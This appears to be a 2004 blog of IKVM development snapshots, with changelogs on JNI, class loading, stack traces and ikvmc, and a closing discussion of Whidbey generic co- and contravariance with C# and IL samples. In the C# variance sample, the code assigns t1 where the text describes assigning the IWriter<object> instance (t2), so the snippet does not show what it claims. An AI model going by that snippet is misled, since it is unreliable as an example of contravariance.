Another interesting aside is that when I ran the test on JDK 1.4.1, the insert operation took about 40 seconds to run. This rather extreme performance bug was fixed in 1.4.2.

One thing that is important to note when running Derby on IKVM is that Derby compiles all queries to bytecode and IKVM doesn't support garbage collecting classes (due to .NET's inability to unload code), so unless your application uses a fixed set of prepared statements that fit in the Derby statement cache, you're going to leak memory.

I made a new snapshot that includes the new sync implementation:

  • Resync'ed with GNU Classpath cvs.
  • Implemented java.io.FileDescriptor.sync() and java.nio.channels.FileChannel.force().
  • Fixed java.io.File to treat file paths as case insensitive on Windows.
  • Made exception helper a little more robust against exceptions happening early in bootstrap.
  • Fixed japi build file to include all the public APIs.
  • Fixed ClassLoaderWrapper.getSystemClassLoader() to bypass ClassLoader.getSystemClassLoader() and access the underlying field directly, to prevent a security check.
  • Changed DotNetTypeWrapper to overrider GetClassLoader to lazily get the system class loader.
  • Fixed ikvmc generated main stub to return 1 if the program exited with an exception.
  • Implemented support for java.security.manager system property (the security manager can now be set from the command line using -Djava.security.manager=<class>).

New snapshots: just the binaries and source plus binaries.

11/8/2004 11:51:13 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [5]

Thursday, November 04, 2004

Japitools & New Snapshot

I've integrated Stuart Ballard's Japitools in my build process to keep track of the API completion status and to test ikvmc and ikvmstub. To results of running it on the current ikvm development snapshot can be found here.

What's new in the snapshot:

  • Implemented AWT Toolkit.getFontList().
  • Regenerated mscorlib, System and System.Xml stub jars with new version of ikvmstub.
  • Resync'ed with GNU Classpath cvs.
  • Improved error handling in Socket classes (exceptions throw now match the JDK better).
  • Implemented urgent data and shutdown methods in PlainSocketImpl (thanks to Dmitry Gromov for this).
  • Fixed ikvm.exe and ikvmc.exe to support slashes in Main-Class entry in manifest.
  • Fixed ikvmstub.exe to emit throws clauses for constructors.
  • Fixed bug that caused internal error when compiling class that has a non-private final field of a type that cannot be loaded.
  • Fixed reflection on .NET types to mark non-virtual methods as final.
  • Fixed name clash detection algorithm to ignore constructors (because name clash prevention isn't yet implemented for constructors).
  • Fixed reflection on .NET types to ignore newslot methods that hide a virtual method in a base class.
  • Fixed reflection on .NET types to not emit a public for explicitly implemented interface methods if a base class already has a suitable method.
  • Removed HideFromJavaAttribute from remapped types.
  • Added HideFromJavaAttribute to nested helper type generated for remapped interfaces.

New snapshots: just the binaries and source plus binaries.

11/4/2004 2:13:12 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Tuesday, October 19, 2004

Stack Traces & Line Numbers

Today's snapshot contains a very helpful new feature: Line numbers in stack traces. Unfortunately you only get line numbers in statically compiled code on .NET 1.1, but on Whidbey you'll also get line numbers for dynamically compiled code. At the moment Mono doesn't support them at all :-(

Together with this I also fixed up the stack trace cleaning code to remove most of the IKVM and .NET implementation artifacts from the stack traces. If you don't want the sanitized stack traces, you can use -Dikvm.cleanstacktrace=0 to disable it. This can be helpful to understand what's going on under the covers, especially if there is a bug in the cleanup code ;-)

Here is an example of a cleaned stack trace with line numbers (when run on Whidbey):

public class test
{
  public static void main(String[] args)
  {
    try {
      Object o = new Object();
      ((cli.System.Object)o).ToString();
    } catch(Throwable t) {
      t.printStackTrace();
    }
    try {
      new java.util.Hashtable().put(null, null);
    } catch(Throwable t) {
      t.printStackTrace();
    }
    try {
      "".endsWith(null);
    } catch(Throwable t) {
      t.printStackTrace();
    }
    try {
      "".charAt(1);
    } catch(Throwable t) {
      t.printStackTrace();
    }
  }
}
C:\tmp>ikvm test
java.lang.ClassCastException
        at test.main (test.java:7)
java.lang.NullPointerException
        at java.util.Hashtable.hash (Hashtable.java:822)
        at java.util.Hashtable.put (Hashtable.java:432)
        at test.main (test.java:12)
java.lang.NullPointerException
        at cli.System.String.EndsWith (Unknown Source)
        at java.lang.String.endsWith (map.xml:335)
        at test.main (test.java:17)
java.lang.StringIndexOutOfBoundsException
        at java.lang.String.charAt (map.xml:266)
        at test.main (test.java:22)

What's new:

  • Merged with Classpath cvs.
  • Added stub to AWT toolkit for getClasspathTextLayoutPeer.
  • Added two new public APIs to the runtime:
    - IKVM.Runtime.Util.GetClassFromObject(). It returns the java.lang.Class object corresponding to the passed in object. It is now used by java.lang.Object.getClass().
    - IKVM.Runtime.Util.GetClassFromTypeHandle(). This is used by the compiler when it needs the class object (for synchronized static methods, for static JNI methods and for the new 1.5 ldc class literal).
  • Changed map.xml String.hashCode body to redirect.
  • Inlined String.charAt in map.xml.
  • Improved stack trace cleaning so that IKVM implementation artifacts are removed from exception stack traces.
  • Code compiled with ikvmc now produces stack traces with line numbers even if the -debug option isn't used. On Whidbey, dynamically converted code will also have line numbers in the stack traces.
  • Moved my system/extension class loader implementation into GNU Classpath.
  • Implemented stack walking for AccessController security checks.
  • Fixed -D option. I used a StringDictionary to store the key/value pairs, but that converts the keys to lowercase.
  • Added -nostacktraceinfo option to ikvmc, to disable generating the line number information table and source file attributes.
  • Made ikvmc a little more robust in dealing with bogus path arguments.
  • Changed TypeWrapper.IsAbstract and ClassFile.IsAbstract to return true for interfaces, even if the abstract bit isn't set.
  • Made class loading error tracer more robust.
  • Introduced a CountingILGenerator wrapper for ILGenerator that keeps track of the IL offset (required for the line number tables).
  • Added AttributeHelper methods to set the new SourceFileAttribute and LineNumberTableAttribute.
  • Removed TypeWrapper.PackageName (was only used in one place and it wasn't correct for array types).
  • De-virtualized TypeWrapper.EmitBox (custom boxing support was previously removed).
  • Reflection now reports a public default constructor on all ValueTypes (on the .NET the default constructor for value types is implicit).
  • Finally completed the inheritance inversion for java.lang.Object/cli.System.Object and java.lang.Throwable/cli.System.Exception. Casting and instanceof tests on cli.System.Object and cli.System.Exception will now work consistently with reflection (i.e. cli.System.Object is a subclass of java.lang.Object and cli.System.Exception is a subclass of java.lang.Throwable). Similar work still needs to be done for java.lang.Comparable/cli.System.IComparable and (a little different) java.lang.String/cli.System.String.
  • Introduced two new custom attributes SourceFileAttribute and LineNumberTableAttribute.
  • Added line number tracking to map.xml parsing.
  • Added blt, ldc_i4_1, add and mul opcodes to remapper.
  • Fixed bug in remapper that caused local variables and labels outside of exception blocks not to be visible inside exception blocks.
  • Fixed verifier to detect trying to instantiate an array type with the new bytecode.
  • Fixed verifier bug that caused NullReferenceException on methods that had dead code that contain local variable stores when compiling with the -debug option.
  • Fixed bug in remapped type code generator that caused remapping helper methods to show up in Java reflection (I forgot to emit the HideFromJavaAttribute).
  • Added error handling for unknown attributes to map.xml parser.

New snapshots: just the binaries and source plus binaries.

10/19/2004 4:10:46 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Thursday, October 07, 2004

Generic Algorithms Revisited

OSNews has an article about using generics to do calculations on Whidbey. When I originally wrote about this, my trick was much slower than the virtual dispatch one that Anders suggested, but it's nice to see that the CLR perf team paid attention, because on the current Whidbey beta it's really fast.

10/7/2004 11:10:03 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Tuesday, October 05, 2004

Compiling javac into an executable with ikvmc

Just a quick tip: If you want to use javac with IKVM that's possible. The only thing to watch out for is that javac requires access to the class files for the core Java classes. IKVM doesn't include these files, but you can generate them by running ikvmstub on IKVM.GNU.Classpath.dll or you can just let javac use the rt.jar of the JDK.

(The following examples assume that the Java SDK is installed in \j2sdk1.4.0)

Here's how you can run javac with ikvm (wrapped for readability):

ikvm -Dsun.boot.class.path=\j2sdk1.4.0\jre\lib\rt.jar
     -classpath \j2sdk1.4.0\lib\tools.jar
     com.sun.tools.javac.Main
     test.java

Here's how you can compile javac into a .NET executable:

ikvmc -out:javac.exe
      -main:com.sun.tools.javac.Main
      -Dsun.boot.class.path=\j2sdk1.4.0\jre\lib\rt.jar
      \j2sdk1.4.0\lib\tools.jar

Note that this hardcodes the path to rt.jar into the javac.exe file, so this executable can only be used on the system it was created on. Note also that you cannot redistribute the javac executable because this would violate the Sun license.

10/5/2004 4:17:23 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

New Snapshot

A couple of bug fixes and some cleanup, but the two major new features are the support for Whidbey (ikvmstub can now handle Whidbey's mscorlib) and the fact that getClassLoader() now returns the system class loader for statically compiled classes (instead of null).

Note that Whidbey support only means that IKVM will now run successfully on Whidbey, not that any of the new Whidbey features are available to use from Java. In particular, generic types and generic methods are not visible to Java code.

What's new:

  • Implemented support for assertions.
  • Changed TimeZone code to find an existing Java timezone that matches the current .NET TimeZone (a little better than before but it's still a very lame solution).
  • Added -r short form of -reference option to ikvmc.
  • Improved error handling for incorrect filenames/paths in ikvmc.
  • Changed TypeWrapper.GetFieldWrapper() to take a signature string instead of a TypeWrapper.
  • Statically compiled code (outside of IKVM.GNU.Classpath.dll) now returns the system class loader for Class.getClassLoader(), instead of null.
  • Changed FieldWrapper implementation to subclass based model instead of delegating to CodeEmitter instances.
  • Removed most of the CodeEmitter functionality.
  • Fixed field reflection bug (reflecting on fields in statically compiled Java types or .NET types didn't work unless you had previously reflected on the methods of the type, or dynamically compiled code against the type).
  • Added preliminary support to run on Whidbey (generic types and methods will not be visible from Java).
  • Removed map.xml support for without sig attribute.
  • Fixed reflection on .NET types to ignore methods with ByRef pointer arguments.
  • Added support to ikvmstub to skip .NET types that aren't visible from Java.

New snapshots: just the binaries and source plus binaries.

Update: I updated the snapshot to fix a regression when accessing fields where the field type class is not found.

10/5/2004 1:32:00 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, September 27, 2004

New Snapshot

A couple of fixes and performance enhancements for static synchronized and static native methods.

Changes:

  • Fixed ikvmc so it no longer throws an exception if no output filename is specified (or implied).
  • Fixed monitorenter instruction and synchronized methods to not throw InterruptedException.
  • Added [DebuggerStepThroughAttribute] to all methods in ByteCodeHelper that didn't have it yet.
  • Added class object caching for static synchronized and native methods.
  • Fixed Thread.stop() so that it works on suspended threads.
  • Implemented a few more random awt peer methods.
  • Removed gnu.classpath.RawData mapping from map.xml.
  • Changed ikvm.exe setting of gnu.classpath.home and java.class.path properties so that they end up in the default system properties.
  • Added IKVM.Runtime.Startup.EnterMainThread() and ExitMainThread() methods (and changed ikvm.exe) to encapsulate the setup and tear-down of the main thread.
  • Fixed JNIEnv.MonitorEnter to use ByteCodeHelper.monitorenter.
  • Fixed compiler bug that caused invoking CharSequence methods to generate a ClassCastException.
  • Changed ikvmc main stub method to call Startup.EnterMainThread() and ExitMainThread() and to pass unhandled exceptions to ThreadGroup.uncaughtException().
  • Fixed JNI method invocation to not wrap exceptions in java.lang.reflect.InvocationTargetException.
  • Fixed support for synchronized native methods.
  • Fixed bug in JNI proxy generator (only used when -Xsave option is specified).
  • Named the WaitShutdownHook and SaveAssemblyShutdownHook threads in starter.cs.
  • Fixed JNIEnv.RegisterNatives when JNI proxy generator is used.
  • Fixed Double.parseDouble to parse +Infinity correctly.

New snapshots: just the binaries and source plus binaries.

9/27/2004 12:27:17 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, September 15, 2004

New Snapshot

A new snapshot with some minor changes. In the previous entry I forgot to document two JNI restrictions:

  • JNI doesn't work with Mono 1.0 on Windows (Mono doesn't do correct P/Invoke name mangling on Windows -- this can be worked around by rebuilding IKVM.Runtime.dll with the alternative DllImport attributes in JniInterface.cs).
  • JNI libraries are never unloaded. Class loaders aren't garbage collected and consequently, native libraries aren't either.

Changes:

  • Implemented support for globbing on Windows. Both to ikvm.exe and to executables compiled with ikvmc (on ikvmc it can be disabled with the -noglobbing option).
  • Added IKVM.Runtime.Startup class that contains globbing support and a method to set Java system properties.
  • Added option to ikvmc to set Java system properties before starting the application (executables only).
  • Disabled freeing of JNIEnv unmanaged memory (for the time being) because it causes crashes on Mono (possibly due to a GC bug in Mono).
  • Added optimization to mark "side effect free" static initializers with the beforefieldinit flag. (Static compilation only.)
  • Added special case support to the verifier for the "side effect free" optimization.
  • Fixed a verifier bug that caused unverifiable code to be generated in rare circumstances (the code worked OK, it just wasn't verifiable). This was the issue that caused Xerces' org.apache.xerces.util.DOMUtil.copyInto() to fail verification.

New snapshots: just the binaries and source plus binaries.

9/15/2004 3:42:50 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, September 09, 2004

JNI Code Complete & A New Snapshot

JNI is now done. Almost complete support for all J2SE 1.4 JNI functionality. There are a few (permanent) restrictions:

  • It's much slower than on a real JVM (most operations are between 10x and 100x slower).
  • You cannot create a string instance with AllocObject and then call the constructor on it with CallNonvirtualVoidMethod. This is unlikely to be a problem, because there really is no reason to go through all this trouble to create a string. The normal ways to create a strings are NewString, NewStringUTF and NewObject and these work fine. If any app were found that depended on two step string construction, a workaround for that particular app could probably be added.
  • JVM.DLL, which implements the three static invocation API functions, only works on Win32.
  • JNI_CreateJavaVM only supports the JDK 1.2 style init args and only the -D option (to define Java properties).
  • JNI_GetDefaultJavaVMInitArgs is not implemented. It's only used for JDK 1.1 style JVM creation, so I don't think it'll be used anymore. If anyone requires it, it could be implemented.
  • JNI_GetCreatedJavaVMs only returns the JavaVM if the VM was started through JNI or a JNI call that retrieves the JavaVM has already occurred.
  • JavaVM.DestroyJVM is only partially implemented (it waits until there are no more non-daemon Java threads and then returns JNI_ERR).
  • JavaVM.DetachCurrentThread doesn't release monitors held by the thread.

JVM.DLL is really cool. It's a small stub created with ILASM. It's only a few lines of code and all it really does is export three managed functions to the unmanaged world. The ability to export managed functions is is a very nice CLR feature that is relatively unknown. On a Win32 system, any native application that hosts the Sun Java Virtual Machine can now use IKVM (without modifying the native app), simply by copying the IKVM DLLs into the native applications directory and removing the real Java VM JVM.DLL from the PATH.

Changes:

  • Imported new Classpath TimeZone handling. This still leaves TimeZone support in a very broken state, but at least the Classpath VM interface is now more powerful and should hopefully allow a correct implementation when I get around to it.
  • Finally added namespaces to all public classes in IKVM.Runtime.dll. There are IKVM.Attributes, IKVM.Runtime, IKVM.Internal and IKVM.NativeCode. IKVM.Internal contains public types that really shouldn't be public, but have to be public because ikvm or ikvmc depend on them. In IKVM.NativeCode live the implementations of the GNU Classpath native methods.
    Don't use the types in the IKVM.Internal or IKVM.NativeCode namespace in your own projects, because they are likely to go away or change in incompatible ways. IKVM.Attributes and IKVM.Runtime are going to be relatively stable (but they can still change up until the 1.0 release) .
  • Added support for JNI thread detaching and waiting for all non-daemon threads to end to VMThread.java.
  • Added GetClassFromTypeHandle method to ByteCodeHelper, this replaces the direct use of NativeCode.java.lang.VMClass.getClassFromType by JNI method stubs and synchronized static methods.
  • Moved the various arraycopy methods from NativeCode.java.lang.VMSystem to ByteCodeHelper.
  • Added getSystemClassLoader method to ClassLoaderWrapper.
  • JavaException.cs: Removed message from ArrayStoreException and added InstantiationException.
  • Added invocation API support to JNI.
  • Renamed JniFrame to Frame and made it an innerclass of IKVM.Runtime.JNI.
  • Implemented more efficient way to determine active JNI method class loader in JNIEnv.FindClass.
  • Fixed JNI method resolution to look for short and long method names in each native library (previous it would first search all libraries for the short name and then in another pass would look for the long names).
  • Added support for JavaVMAttachArgs to JavaVM.AttachCurrentThread.
  • Implemented JavaVM.DestroyJavaVM.
  • Implemented JavaVM.DetachCurrentThread.
  • Implemented JavaVM.AttachCurrentThreadAsDaemon.
  • Implemented JNIEnv cleanup when thread dies.
  • Fixed JNIEnv.DefineClass to decode name as platform specific instead of UTF-8.
  • Fixed JNIEnv.FindClass to decode name as platform specific instead of UTF-8.
  • Fixed JNIEnv.SetPendingException to do exception mapping and set the stack trace.
  • Fixed JNIEnv.ThrowNew to decode message as platform specific instead of UTF-8.
  • Fixed JNIEnv.ExceptionDescribe to clear pending exception (and to actually work).
  • Fixed JNIEnv.FatalError to decode message as platform specific instead of UTF-8.
  • Added error handling to JNIEnv.AllocObject (if you try to create interface or abstract class instance).
  • Added error handling and value type support to JNIEnv.NewObjectArray.
  • Added value type support to JNIEnv.GetObjectArrayElement and JNIEnv.SetObjectArrayElement.
  • Added error handling to the various JNIEnv.New<PrimitiveType>Array functions.
  • Added error handling to the various JNIEnv.Get<PrimitiveType>ArrayRegion and JNIEnv.Set<PrimitiveType>ArrayRegion functions.
  • Implemented growing the local ref table for native methods that use (or leak) excessive amounts of local refs.
  • Changed stack and local variable type encoding of value types and enums to System.ValueType and System.Enum respectively (instead of simply System.Object).
  • Fixed bug in bytecode compiler that caused it emit incorrect code when calling inherited methods on value types or enums.

New snapshots: just the binaries and source plus binaries.

9/9/2004 1:51:09 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Sunday, September 05, 2004

New Snapshot

A couple of fixes and a clean up of the JNI code. The Managed C++ JNI provider used some clever tricks and when I ported them to C# they turned into ugly hacks, so I removed them. More on that in a future entry.

Changes:

  • Changed VMAccessController and VMClassLoader to use .NET thread local storage instead of a Java ThreadLocal to reduce initialization order dependencies.
  • Added -XXsave flag to ikvm.exe to save debug image of single threaded apps that don't call System.exit().
  • Added -apartment:[sta|mta|none] flag to ikvmc (default is to apply the STAThreadAttribute to main).
  • Added Win64 support to ikvm-native.
  • Fixed class file parser to properly resize the instruction array. Previously, the compiler got confused when emitting debugging information.
  • Added code to save the assembly used for non-virtual reflective method invocations when -Xsave is used.
  • Introduced JNI type name aliases in JniInterface to make the code more readable.
  • Implemented JNI functions: EnsureLocalCapacity, PushLocalFrame, PopLocalFrame, NewWeakGlobalRef and DeleteWeakGlobalRef.
  • Fixed Debug.Assert in GhostMethodWrapper (MemberWrapper.cs).
  • Fixed JniProxyBuilder to emit ldtoken and pass it as an argument to the real JNI method.
  • Improved error handling in gnu.java.io.EncodingManager.
  • Fixed support for setting the java.library.path property on the ikvm.exe command line.
  • Fixed default java.library.path on Windows.
  • Added workaround for Mono 1.0 bug in Marshal.AllocHGlobal.
  • Fixed delegate reflection bug that caused ikvmstub not to emit the nested Method interface for delegates.
  • Added resource name mangling to make ILDASM/ILASM roundtripping work.

New snapshots: just the binaries and source plus binaries.

9/5/2004 11:54:45 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, August 31, 2004

New Snapshot

The biggest change in this version is that the JNI implementation is now unified. It's completely rewritten in unsafe C# and a tiny bit of C (thanks to Zoltan Varga for porting the C part to Linux). This allows the same code to be used on the Microsoft CLR and on Mono. Porting the Managed C++ to C# was an interesting exercise. Because of the repetitive nature of many of the JNI functions, I really missed the C macros I used in the Managed C++ implementation, but more importantly I found that unsafe C# tries really hard to get in your way. It tries to prevent you from shooting yourself in the foot, but IMO it doesn't really succeed at that, but it does make it really hard to do clever things if you know what you're doing.

I also found some methods missing in System.Runtime.InteropServices.Marshal. There is no memcpy, no way to efficiently allocate unmanaged memory (both CoTaskAllocMem and AllocHGlobal offer functionality or guarantees that you often don't need) and there is no way to turn a delegate into an unmanaged method pointer. I had to add the following C method to convert the delegate an unmanaged method pointer:

JNIEXPORT void* JNICALL ikvm_MarshalDelegate(void* p)
{
    return p;
}

This looks like a no-op, but the P/Invoke marshaler converts the delegate to a pointer to an unmanaged thunk. Unfortunately this functionality is not exposed as a managed API.

Here's what else is new:

  • New unified JNI implementation written mostly in (unsafe) C#. The same JNI implementation now works on Mono and the Microsoft CLR and there is only a tiny bit of platform specific C code (no more Managed C++).
  • Statically compiled code that uses JNI is now portable between different platforms (obviously only if the native library is available on those platforms).
  • Implemented more JNI functionality.
  • Synchronized with GNU Classpath cvs.
  • Fixed Runtime.totalMemory() to return more than Runtime.freeMemory(). Note that the value is still pretty meaningless.
  • Added more validation to BigEndianBinaryReader to better detect invalid class files.
  • Changed ByteCode, NormalizedByteCode and ByteCodeMode enums to be byte based, for efficiency.
  • Separated wide "addressing" modes into ByteCodeModeWide to make the code simpler.
  • Added ByteCodeFlags enum to encode bytecode properties in ByteCodeMetaData.
  • Fixed ByteCodeMetaData encoding for the [ailfd]load/[ailfd]store instructions to support the wide encodings.
  • Made class file parsing eager, to prevent depending on the passed in byte array after ClassLoader.defineClass() returns.
  • Made class file parsing robust against class loaders that to attact the VM by modifying the class file byte array, while it is being parsed.
  • Made many Optimizations to class file parsing.
  • Added more validation to class file parsing.
  • Fixed class file parsing to throw a ClassFormatError when a class loader is trying to redefine java.lang.Object.
  • Implemented class loader namespace support for native libraries.
  • Fixed FieldWrapper.Link() to rethrow exception if linking fails (instead of silently swallowing it).
  • Made the __ static initialization trigger field protected instead of public.
  • Use a more efficient CIL sequence for instanceof instruction.
  • Fixed stupid bug in Double/Float.parse(). It used the local sensitive version of System.Double.Parse().
  • Fixed java.io.System.setErr().

New snapshots: just the binaries and source plus binaries.

Update: I forgot to thank Zoltan Varga for porting the platform specific part of the new JNI implementation to Linux.

8/31/2004 1:55:43 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, August 20, 2004

Non-virtual Method Invocation

In Tuesday's snapshot I finally implemented the CallNonvirtualMethod JNI routines. I've never seen any JNI code that actually uses them, but I obviously needed to implement them at some point.

For those of you unfamiliar with these routines, let me explain them briefly. Normally when you call a virtual method, the runtime type of the instance the method is called on determines the actual method you end up at (so called virtual method dispatch), but these routines allow you to call a base class method as well. So, if you'd use CallNonvirtualObjectMethod on java.lang.Object.toString() on a java.lang.String instance (let's say “foo“), the result you'd get would be java.lang.String@17e809 instead of the string “foo“.

The CLR Reflection API doesn't have the ability to invoke a virtual method non-virtually. Unlike Java however, the CLR does allow the CIL call instruction to be used to call arbitrary methods non-virtually (the Java invokespecial method can only be used to call methods in the same class or in a base class). So the obvious way to implement these routines, would seem to be to dynamically emit some code that calls the requested method non-virtually, but there is problem with this approach, the JNI routines don't enforce accessibility (they allow you to call non-public methods) and the CLR enforces accessibility. I got around this by using RuntimeMethodHandle.GetFunctionPointer() incombination with the CIL calli instruction. This also has the advantage that the dynamically emitted stubs can be reused for methods with the same signature, because the target address isn't baked into the method, but passed in.

Non-orthogonality

While I don't have a very compelling use case for non-virtual method invocation through reflection, based on API orthogonality and completeness a case could be made for it, but more importantly, I think that ECMA/Microsoft should consider changing the CLI spec to allow non-verifiable code to bypass the accessibility checks. Note that the new DynamicMethod in Whidbey already allows accessibility checks to be bypassed (and note also that whoever wrote the doc for DynamicMethod doesn't understand the difference between visibility and accessibility).

The trick of using calli to bypass the accessibility checks doesn't work for virtual method invocation, because there is no way to dynamically and efficiently get the function pointer of a method by applying the virtual method dispatch rules (i.e. there is no dynamic equivalent of the CIL ldvirtftn instruction).

To summarize, here is what I think should be changed:

  • CLR shouldn't bother enforcing accessibility in non-verifiable code.
  • MethodInfo should get a new InvokeNonvirtual method.
  • MethodInfo should get a GetFunctionPointer(object) method that returns the method pointer that results from virtual dispatch.
8/20/2004 9:11:25 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Thursday, August 19, 2004

Article on IKVM

Avik Sengupta wrote an excellent article on IKVM.

8/19/2004 1:33:47 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, August 17, 2004

New Snapshot

A new development snapshot. I made many changes (way too many) since the last snapshot. The diff was over 13,000 lines (and I had already checked in part of the changes).

This is an important step towards 1.0, but there is still much to be done.

BTW, Eclipse 3.0 starts up with this version, but that's pretty much it, it doesn't do anything useful yet.

What's New:

  • Changed version numbers to 0.9.* (I'm using a Linux kernel version scheme, even numbers are used for releases, odd numbers are used during development.)
  • Resynchronized with GNU Classpath cvs.
  • Made String.compareTo(Object) redirect to my own implementation instead of System.String.CompareTo (including when the method is invoked through the java.lang.Comparable interface, which is still remapped to System.IComparable).
  • Fixed exception remapping handling of java.lang.ExceptionInInitializer.
  • Added dummy (but safe) implementations of getHostAddress and hostsEqual to ikvmres protocol handler.
  • Removed work around for Classpath serialization bug from Throwable cause serialization. The state of whether the cause was set is now properly serialized.
  • Fixed deserialization of exceptions serialized with pre-1.4 JDKs.
  • Fixed integer overflow bugs in the various argument tests in the String(byte[], ...) constructors.
  • Added missing argument check to String.startsWith(String prefix, int offset).
  • Added -Xbreak option to ikvm, to fire the debugger on startup.
  • Added support for automatically generating build and revision numbers to ikvmc (e.g. -version:0.9.*)
  • Fixed ikvmstub bug that caused invalid max_locals to be set in constructor definitions if the constructor took long or double arguments.
  • Fixed visibility handling of nested types. A public nested type nested inside a non-public type was incorrectly treated as public.
  • Fixed reflection bug. Statically compiled classes had private methods incorrectly reported as final.
  • Fixed method override resolver bug. Having a private final method in a base class with a similar name/signature as a virtual method in the subclass caused a VerifyError (which was presented as a critical failure).
  • Fixed another method override resolver bug. Only interfaces implemented by direct base class were searched, not those implemented by all base classes.
  • Added workaround for deserializing incorrectly serialized java.lang.String objects (strings are supposed to be special cased by serialization, but if you manually construct a serialization stream that contains a TC_OBJECT of class java.lang.String, previously you'd get a weird exception.)
  • Added (untested) implementation of VMAccessController.
  • Fixed small compiler bug. Ldarg/Starg instruction was emitted with int argument, instead of short. This caused two bogus nops in the CIL stream to follow each Ldarg/Starg instruction (in exceptional cases).
  • Fixed Tracer to handle messages without formatting characters.
  • Fixed lame typo in JVM.CompilerClassLoader.EmitRedirect. (Call to Debug.CompareTo(...) instead of System.Diagnostics.Debug.Assert(...)).
  • Added nonvirtualAlternateBody support to map.xml parser.
  • Added nonvirtualAlternateBody to map.xml for java.lang.Object.toString().
  • Added exceptionBlock support to map.xml parser.
  • Added exception handler to map.xml for java.lang.ThreadDeath exception mapping code, to catch ThreadStateException if Thread.Abort is called while it isn't required.
  • Removed unnecessary path name check from FileChannelImpl.open().
  • Removed VMFile.demangle(). Normalization is now part of Classpath java.io.File.
  • Added exception handling to VMFile.isHidden().
  • Added VMFile.toCanonicalForm(). Now used by Classpath java.io.File.getCanonicalPath().
  • Added protection domain support to VMClass.createClass().
  • Removed VMClass.loadBootstrapClass().
  • Removed unused deprecated version of VMClassLoader.defineClass().
  • Added bootstrap classloader resource support to VMClassLoader.
  • Implemented VMClassLoader.getSystemClassLoader() in VMClassLoader. The system classloader is now always available, not just if the application was started with ikvm.exe.
  • Added app.config appSettings support to VMRuntime.insertSystemProperties(). Java properties can now be specified in your .NET application .config file:
    <appSettings>
       <add key="ikvm:<propertyname>" value="<propertyvalue>" />
    </appSettings>
  • In VMThread, removed cleanupDataStoreSlot static and always do lookup of the LocalDataStoreSlot by name, to handle scenario where the IKVM main thread is the first one to lookup the LocalDataStoreSlot (and previously that would cause the static initializer of VMThread to fail, because AllocateNamedDataSlot would fail, as the name was already in use).
  • Fixed Field.checkAccess() when caller is a global method.
  • Removed ExtClassLoader and AppClassLoader from starter.cs (ikvm.exe).
  • Added hack to set the priority of the ikvmdump.exe writing thread to AboveNormal, to deal with a spinning thread in Eclipse on shutdown.
  • Don't add CLASSPATH to java.class.path is the -jar option is specified.
  • Removed support for DLLs in the bootclasspath.
  • Fixed exception handling compilation options for IKVM.JNI.CLR-Win32 in clr-win32.build.
  • Major rewrite of local and global ref support in Win32 JNI provider.
  • Implemented most of the remaining JNI functions in Win32 JNI provider.
  • Fixed class file parser to disallow native constructors.
  • Rewrote class loading and method/field linking in ClassFile.cs.
  • Fixed most of the thread safety issues in class loading/reflection.
  • The runtime no longer throws Java exceptions, instead it throws its own exception, which are converted to Java exceptions at the runtime/Java boundaries. This makes ikvmc compilation of Classpath more robust (previously, if an exception required by the runtime was missing, it would often result in infinite recursion).
  • Simplified MethodDescriptor. It is now only a name/signature tuple.
  • MethodWrapper now uses virtual methods instead of delegates to emit call/callvirt/newobj sequences.
  • Major rewrite of method resolving/linking and MethodWrapper infrastructure. Loader constraints are now properly enforced and LinkageErrors are thrown in the right places at the right times.
  • Renamed HideFromReflectionAttribute to HideFromJavaAttribute and made the semantics consistent. It now means that the method is totally invisible from Java (either through reflection or statically). The new MirandaMethodAttribute signals that a method is invisible from reflection, but callable by Java byte code.
  • Added new NameSigAttribute that is used to recover the original method name or signature when a method name is mangled or when a signature is changed in such a way that at runtime the original signature cannot be reconstructed anymore.
  • Fixed TypeWrapper.IsInSamePackage() to understand that a package with the same name but in different assemblies, really isn't the same package.
  • Fixed ininst instruction in map.xml. Now works the same for Java and .NET types.

I'm sure I forgot many changes/fixes. This change set was just too large. I promise to check in more frequently in future :-)

New snapshots: just the binaries and source plus binaries.

8/17/2004 11:08:03 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, August 16, 2004

JavaScript on IKVM

Phil blogs about running Rhino on IKVM on Mono.

8/16/2004 5:26:15 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, August 10, 2004

Whidbey, Generics, Co- and contravariance

I came across an interesting Whidbey beta 1 CLR feature today. As far as I can tell this hasn't been documented anywhere yet, but the Whidbey beta 1 CLR supports covariant and contravariant generic type parameters.

This is a really interesting feature. If C# would support it (at the moment it doesn't), you'd be able to do something like this:

interface IReader<T>
{
  T Get(); 
}
interface IWriter<T>
{
  void Put(T t);
}
class Test<T> : IReader<T>, IWriter<T>
{
  T t;
  public T Get() { return t; }
  public void Put(T t) { this.t = t; }
}
class Driver
{
  static void Main()
  {
    Test<string> t1 = new Test<string>();
    t1.Put("covariance");
    IReader<object> rdr = t1;
    Console.WriteLine(rdr.Get());
    Test<object> t2 = new Test<object>();
    IWriter<string> wrtr = t1;
    wrtr.Put("contravariance");
    Console.WriteLine(t2.Get());
  }
}

Notice that in the first highlighted line we're assigning an object reference that implements IReader<string> to a local variable of type IReader<object>. This is covariance and it is type safe because the IReader<T> interface only returns T. In the second highlighted line we assign a reference that implements IWriter<object> to a local of type IWriter<string>, this is contravariance and this is also type safe, because IWriter<T> only accept arguments of type T.

Unfortunately, C# doesn't yet seem to support this feature, but if we manually write the IL, it'll run on the Whidbey beta 1 CLR (and it is fully verifiable):

.assembly extern mscorlib {}
.assembly test {}

.class interface public abstract
      'IReader`1'<+([mscorlib]System.Object) T>
{
  .method public abstract instance
          !T Get() cil managed {}
}

.class interface public abstract
      'IWriter`1'<-([mscorlib]System.Object) T>
{
  .method public abstract instance
          void Put(!T t) cil managed {}
}

